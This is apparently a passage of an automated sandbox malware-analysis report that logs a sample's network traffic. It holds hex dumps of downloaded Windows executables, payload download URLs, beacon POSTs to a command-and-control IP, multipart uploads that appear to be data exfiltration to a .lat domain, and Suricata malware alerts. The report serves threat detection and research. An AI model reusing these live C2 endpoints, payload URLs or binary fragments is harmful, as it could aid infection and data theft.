36 00 00 70 31 00 00 03 00 02 00 1b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 38 00 00 00 01 00 00 11 73 32 00 00 06 0a 06 28 16 00 00 0a 7d 3c 00 00 04 06 02 7d 3d 00 00 04 06 15 7d 3b 00 00 04 06 7c 3c 00 00 04 12 00 28 01 00 00 2b 06 7c 3c 00 00 04 28 18 00 00 0a 2a 13 30 02 00 50 00 00 00 02 00 00 11 00 7e 02 00 00 04 16 fe 01 0a 06 2c 42 00 72 01 00 00 70 28 19 00 00 0a 00 72 63 00 00 70 28 19 00 00 0a 00 28 05 00 00 06 0b 72 a9 00 00 70 07 28 1a 00 00 0a 28 19 00 00 0a 00 07 28 04 00 00 06 6f 1b 00 00 0a 00 16 28 1c 00 00 0a 00 00 2a 13 30 02 00 38 00 00 00 03 00 00 11 73 2c 00 00 06 0a 06 28 16 00 00 0a 7d 15 00 00 04 06 02 7d 16 00 00 04 06 15 7d 14 00 00 04 06 7c 15 00 00 04 12 00 28 02 00 00 2b 06 7c 15 00 00 04 28 18 00 00 0a 2a 13 30 05 00 48 00 00 00 04 00 00 11 00 73 1d 00 00 0a 0a 1a 8d 2f 00 00 01 0b 16 0c 2b 1c 00 07 08 7e 03 00 00 04 06 7e 03 00 00 04 8e 69 6f 1e 00 00 0a 9a a2 00 08 17 58 0c 08 1a fe 04 0d 09 2d dc 72 cf 00 00 70 07 28 1f 00 00 0a 13 04 2b 00 11 04 2a 13 30 02 00 16
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 05:09:40 GMTContent-Type: application/octet-streamContent-Length: 1978368Last-Modified: Thu, 19 Dec 2024 05:03:50 GMTConnection: keep-aliveETag: "6763a936-1e3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 70 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4b 00 00 04 00 00 7e 1d 1f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6c 63 76 68 64 61 7a 00 c0 19 00 00 a0 31 00 00 b2 19 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6a 72 6b 64 62 77 7a 00 10 00 00 00 60 4b 00 00 04 00 00 00 0a 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4b 00 00 22 00 00 00 0e 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 05:09:49 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 05:10:01 GMTContent-Type: application/octet-streamContent-Length: 765568Last-Modified: Tue, 17 Dec 2024 09:46:16 GMTConnection: keep-aliveETag: "67614868-bae80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 86 04 00 00 d0 02 00 00 86 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 86 04 00 00 60 07 00 00 86 04 00 00 fa 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 05:10:08 GMTContent-Type: application/octet-streamContent-Length: 3286016Last-Modified: Wed, 18 Dec 2024 13:43:08 GMTConnection: keep-aliveETag: "6762d16c-322400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 c6 2f 00 00 20 00 00 00 c8 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 40 57 02 00 00 00 30 00 00 58 02 00 00 ca 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 32 00 00 02 00 00 00 22 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 e6 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 00 c2 01 00 40 1c 04 00 03 00 00 00 43 0d 00 06 40 de 05 00 7a 05 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 2b 05 28 42 0f 39 39 28 02 00 00 06 2a 00 00 3a 2b 05 28 f1 af 5e 41 00 28 21 0d 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 92 00 00 00 01 00 00 11 28 2a 0c 00 06 38 79 00 00 00 fe 0c 00 00 45 03 00 00 00 63 00 00 00 4f 00 00 00 2f 00 00 00 38 5e 00 00 00 73 17 00 00 0a 80 04 00 00 04 20 01 00 00 00 17 3a d5 ff ff ff 26 38 cb ff ff ff 73 18 00 00 0a 80 03 00 00 04 38 d6 ff ff ff 73 19 00 00 0a 80 06 00 00 04 20 00 00 00 00 17 39 ab ff ff ff 26 20 00 00 00 00 38 a0 ff ff ff 73 1a 00 00 0a 80 05 00 00 04 20 02 00 00 00 38 8c ff ff ff 2a 73 1b 00 00 0a 80 02 00 00 04 38 ad ff ff ff 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/1293295511/zudFSfy.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 33 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017319001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/1293295511/kz8ZdyP.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 33 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017321001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/lolz/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 33 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017351001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 33 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017352001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 33 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017353001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 33 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017354001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 104.21.64.80 104.21.64.80

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49763 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49787 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49823 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49838 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49860 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49889 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49892 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49896 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49904 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49915 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49910 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49922 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49918 -> 104.21.64.80:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: aspecteirs.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 50Host: aspecteirs.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0H1DHIFZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18106Host: aspecteirs.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HXWSW5Y24IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8739Host: aspecteirs.lat

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
